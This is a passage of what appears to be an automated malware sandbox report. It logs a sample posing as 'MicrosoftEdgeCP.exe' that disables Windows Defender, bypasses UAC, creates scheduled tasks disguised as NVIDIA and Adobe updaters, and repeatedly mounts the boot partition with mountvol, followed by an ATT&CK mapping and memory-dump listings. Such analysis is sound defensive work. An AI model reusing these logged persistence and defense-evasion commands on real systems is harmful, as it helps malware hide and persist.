C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol S: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol S: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol T: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol T: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol U: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol U: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol U: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol U: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol V: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol V: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol W: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol W: /S3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\MicrosoftEdgeCP.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\MicrosoftEdgeCP.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- System policy modification
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol E: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /S3⤵
-
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_ec1bcf5d" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_ec1bcf5d" /XML "C:\Users\Admin\AppData\Local\Temp\32bef69d-458d-4fbf-b660-9310a9fd80b6.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_d06de14c" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_d06de14c" /XML "C:\Users\Admin\AppData\Local\Temp\ae637435-fd02-4bf6-acef-d93cdb811bd1.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_7a5c6194" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Adobe Acrobat Update Task_7a5c6194" /XML "C:\Users\Admin\AppData\Local\Temp\d8e90ac5-1585-412e-b42f-e39d84c8c936.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol E: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol F: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol F: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol G: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol G: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol H: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol H: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol I: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol I: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol J: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol J: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol J: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol K: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol K: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol L: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol L: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol M: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol M: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol N: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol N: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol O: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol O: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol O: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol P: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol P: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol Q: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol Q: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol Q: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol R: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol R: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol S: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol S: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol S: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol S: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol T: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol T: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol U: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol U: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol U: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol U: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol V: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol V: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol W: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol W: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol W: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol W: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol X: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol X: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol X: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol X: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol Y: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol Y: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol E: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol E: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol E: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol F: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol F: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol G: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol G: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol H: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol H: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol I: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol I: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol I: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol J: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol J: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol K: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol K: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol L: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol L: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol L: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol M: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol M: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol N: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol N: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol O: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol O: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol P: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol P: /D2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Impair Defenses
5Disable or Modify Tools
4Modify Registry
8Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
FB0D848F74F70BB2EAA93746D24D9749
352a21b7-a5e0-464f-99bf-53a1c41ee26f.dll
Boot.exe
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
dberr.txt
memory/408-1259-0x00000107D4B20000-0x00000107D4B86000-memory.dmp
memory/748-46-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/952-159-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1028-200-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1308-104-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1352-53-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1412-113-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1628-196-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1672-318-0x000002764BAE0000-0x000002764BB46000-memory.dmp
memory/1672-1467-0x000002764D960000-0x000002764D96C000-memory.dmp
memory/1672-2314-0x000002764BFF0000-0x000002764BFFC000-memory.dmp
memory/1672-2344-0x000002764D830000-0x000002764D83A000-memory.dmp
memory/1672-2485-0x0000027667740000-0x0000027667C7E000-memory.dmp
memory/1696-111-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1736-88-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1972-199-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1984-236-0x0000014D35550000-0x0000014D3557B000-memory.dmp
memory/1984-231-0x0000014D35550000-0x0000014D3557B000-memory.dmp
memory/1984-240-0x0000014D35550000-0x0000014D3557B000-memory.dmp
memory/1984-239-0x0000014D35550000-0x0000014D3557B000-memory.dmp
memory/1984-238-0x0000014D35550000-0x0000014D3557B000-memory.dmp
memory/1984-237-0x0000014D35550000-0x0000014D3557B000-memory.dmp
memory/1984-245-0x0000014D35200000-0x0000014D35201000-memory.dmp
memory/1984-241-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/1984-230-0x0000014D35550000-0x0000014D3557B000-memory.dmp
memory/1984-229-0x0000014D35200000-0x0000014D35225000-memory.dmp
memory/1984-247-0x00007FF7F4DD0000-0x00007FF7F4DE0000-memory.dmp
memory/2092-133-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/2200-219-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/2252-155-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/2652-149-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/2760-225-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/2872-163-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3056-174-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3140-38-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3160-223-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3180-119-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3256-140-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3308-115-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3420-176-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3428-170-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3500-79-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3516-55-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3528-36-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3792-27-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/3800-212-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/4352-7-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-1506-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-1-0x00007FF8236FF000-0x00007FF823700000-memory.dmp
memory/4352-2-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-3-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-11-0x00007FF844C70000-0x00007FF844D37000-memory.dmp
memory/4352-4-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-10-0x00007FF8461C0000-0x00007FF846423000-memory.dmp
memory/4352-9-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-13-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-0-0x0000027D464A0000-0x0000027D46506000-memory.dmp
memory/4352-12-0x00007FF843A50000-0x00007FF843DF1000-memory.dmp
memory/4352-5-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-6-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-1246-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-1128-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-846-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-492-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4352-8-0x00007FF823570000-0x00007FF823F14000-memory.dmp
memory/4368-215-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/4432-156-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/4496-75-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/4528-282-0x000002518A650000-0x000002518A67B000-memory.dmp
memory/4528-283-0x000002518A650000-0x000002518A67B000-memory.dmp
memory/4528-281-0x000002518A650000-0x000002518A67B000-memory.dmp
memory/4528-276-0x000002518A650000-0x000002518A67B000-memory.dmp
memory/4528-284-0x000002518A650000-0x000002518A67B000-memory.dmp
memory/4540-221-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/4632-166-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/4788-121-0x00007FF805BB0000-0x00007FF805BC0000-memory.dmp
memory/5040-105-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/5180-195-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/5216-173-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/6248-1458-0x000002CE4E470000-0x000002CE4E4D6000-memory.dmp
memory/6576-261-0x0000013D50FA0000-0x0000013D50FCB000-memory.dmp
memory/6576-266-0x00007FF806300000-0x00007FF806310000-memory.dmp
memory/6576-265-0x0000013D50FA0000-0x0000013D50FCB000-memory.dmp
memory/6576-256-0x0000013D50FA0000-0x0000013D50FCB000-memory.dmp
memory/6576-264-0x0000013D50FA0000-0x0000013D50FCB000-memory.dmp
memory/6576-263-0x0000013D50FA0000-0x0000013D50FCB000-memory.dmp
memory/6576-262-0x0000013D50FA0000-0x0000013D50FCB000-memory.dmp
memory/6768-1152-0x000002A44E1B0000-0x000002A44E216000-memory.dmp
memory/7044-87-0x00007FF806300000-0x00007FF806310000-memory.dmp